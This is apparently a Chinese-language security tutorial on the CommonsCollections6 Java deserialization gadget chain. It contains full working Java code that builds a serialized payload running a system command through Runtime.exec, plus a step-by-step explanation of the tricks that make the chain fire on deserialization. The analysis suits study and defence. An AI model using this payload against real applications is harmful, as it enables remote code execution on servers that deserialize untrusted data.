Java反序列化（CommonsCollections6）

Commons-Collections6

测试代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6TestFinal {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        HashMap<Object, Object> map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,new ChainedTransformer(new Transformer[]{}));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"wasd");
        lazymap.remove("key");
        Class getlazymapClass = LazyMap.class;
        Field factoryField = getlazymapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,chainedTransformer);
        serialize(map2);
        unserialize("ser6.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser6.bin"));
        oos.writeObject(obj);
        System.out.println();
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

分析

先看一下ysoserial上面的Gadget chain，后半部分和cc1其实是一样的

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

Transformer[] transformer = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

然后就是找不同名的类调用了transform方法

找到了LazyMap的get方法中对factory调用了transform

LazyMap的decorate接收一个Map和Transformer对象，然后new一个LazyMap的对象，如果factory的值不为空，就把factory的值赋给factory，因为目的是要调用chainedTransformer的transform方法，所以这里传递的对象就是之前写好的chainedTransformer，暂时关于LazyMap这一部分的写法就是这样

HashMap<Object, Object> map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);

然后接着找调用get的地方，找到TiedMapEntry类的getValue方法对map调用了get

这个类接收两个参数，一个是Map类型，一个就是key值，然后对应new一个对象，因为是对map调用的get，所以这里map就传上一步的lazymap

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");

再找调用getValue的地方，找到了这个类下面的hashCode方法

关于hashCode的话就比较熟悉了，java的jdk里的HashMap类就有调用

这里hash方法里对key调用了hashCode，然后这个类的readObject方法中对key值进行了hash，所以到这里这个链就全了

写出来是这样的

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"wasd");

这里先进行序列化

可以看到，在序列化的过程中就执行系统命令，原因就是在map2.put这里

put方法里面就对key进行了hash，然后触发了后续的链，所以解决这个问题的办法就是在put之前放入一个假的对象

Map lazymap = LazyMap.decorate(map,new ChainedTransformer(new Transformer[]{}));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"wasd");

所以这里在decorate中传一个新的ChainedTransformer对象，相应地put之后再把构造好的对象再传回去

Class getlazymapClass = LazyMap.class;
Field factoryField = getlazymapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

然后发现这条链还是没有正确执行命令，因为LazyMap的get方法判断了key是否存在

如果存在则返回true，那么就回走出if

所以在put完之后再remove掉key值，如果在put之前remove的话，hash方法就走不通了

再对这部分代码进行修改

Map lazymap = LazyMap.decorate(map,new ChainedTransformer(new Transformer[]{}));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("key");

修改之后再进行测试，ok了

总结

最后总结一下，cc6这条链用到的commons-collections版本和cc1一样，也是3.2.1，包括利用链的后半部分都是一样的，最大的区别就是从cc1对jdk的版本有依赖，高版本的jdk中对AnnotationInvocationHandler类做了修改，cc6当中的入口类是HashMap，这算是多版本通用的，所以这条链不受jdk版本的限制